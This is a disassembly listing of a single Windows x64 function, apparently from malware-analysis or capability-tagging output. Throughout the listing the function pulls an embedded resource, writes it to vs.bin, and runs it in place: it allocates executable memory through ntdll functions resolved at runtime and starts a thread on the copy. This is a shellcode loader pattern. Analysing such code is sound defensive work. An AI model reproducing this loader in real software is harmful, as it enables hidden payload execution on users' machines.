Function at 0x1400013f7
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbp
sub rsp, 0x400
lea rbp, [rsp + 0x80]
call fcn.14000197e
mov r8d, 0xa
mov edx, 0x65
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x378], rax
cmp qword [rbp + 0x378], 0
jne 0x14000144f
lea rax, section..rdata
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
mov rax, qword [rbp + 0x378]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x370], rax
cmp qword [rbp + 0x370], 0
jne 0x140001491
lea rax, [0x140008017]
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
mov rax, qword [rbp + 0x370]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp + 0x368], rax
cmp qword [rbp + 0x368], 0
jne 0x1400014ce
lea rax, [0x14000802e]
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
mov rax, qword [rbp + 0x378]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x364], eax
cmp dword [rbp + 0x364], 0
jne 0x14000150e
lea rax, [0x140008045]
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
lea rax, [rbp + 0x220]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x140001549
lea rax, [0x140008068]
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
lea rdx, [rbp + 0x220]
lea rax, [rbp + 0x110]
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rax, [rbp + 0x110]
mov edx, 0x5c
mov rcx, rax
call sub.msvcrt.dll_strrchr
mov qword [rbp + 0x358], rax
cmp qword [rbp + 0x358], 0
je 0x14000158e
mov rax, qword [rbp + 0x358]
mov byte [rax], 0
lea rdx, [rbp + 0x110]
mov rax, rbp
mov r8, rdx
lea rdx, str._s_vs.bin
mov rcx, rax
call fcn.1400013b4
mov rax, rbp
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x350], rax
cmp qword [rbp + 0x350], 0xffffffffffffffff
jne 0x14000160d
lea rax, [0x140008098]
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
lea r8, [rbp - 4]
mov ecx, dword [rbp + 0x364]
mov rdx, qword [rbp + 0x368]
mov rax, qword [rbp + 0x350]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
jne 0x140001670
lea rax, str._vs.bin__n
mov rcx, rax
call fcn.140001360
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x1400018fc
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [0x1400080d8]
mov rcx, rax
call fcn.140001360
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x348], rax
mov qword [rbp - 0x10], 0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.NtAllocateVirtualMemory
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x340], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.NtCreateThreadEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x338], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.NtClose
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x330], rax
cmp qword [rbp + 0x340], 0
je 0x140001758
cmp qword [rbp + 0x338], 0
je 0x140001758
cmp qword [rbp + 0x330], 0
jne 0x140001771
lea rax, str._Native_API__n
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
mov eax, dword [rbp + 0x364]
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x348]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov r10, qword [rbp + 0x340]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x32c], eax
cmp dword [rbp + 0x32c], 0
jns 0x1400017e0
mov eax, dword [rbp + 0x32c]
mov edx, eax
lea rax, [0x140008168]
mov rcx, rax
call fcn.140001360
mov eax, 1
jmp 0x1400018fc
mov ecx, dword [rbp + 0x364]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x368]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x348]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x338]
mov r9, rcx
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rax
call r10
mov dword [rbp + 0x32c], eax
cmp dword [rbp + 0x32c], 0
jns 0x1400018a8
mov eax, dword [rbp + 0x32c]
mov edx, eax
lea rax, str.:__lx_n
mov rcx, rax
call fcn.140001360
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 1
jmp 0x1400018fc
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.vs.bin__n
mov rcx, rax
call fcn.140001360
mov eax, 0
add rsp, 0x400
pop rbp
ret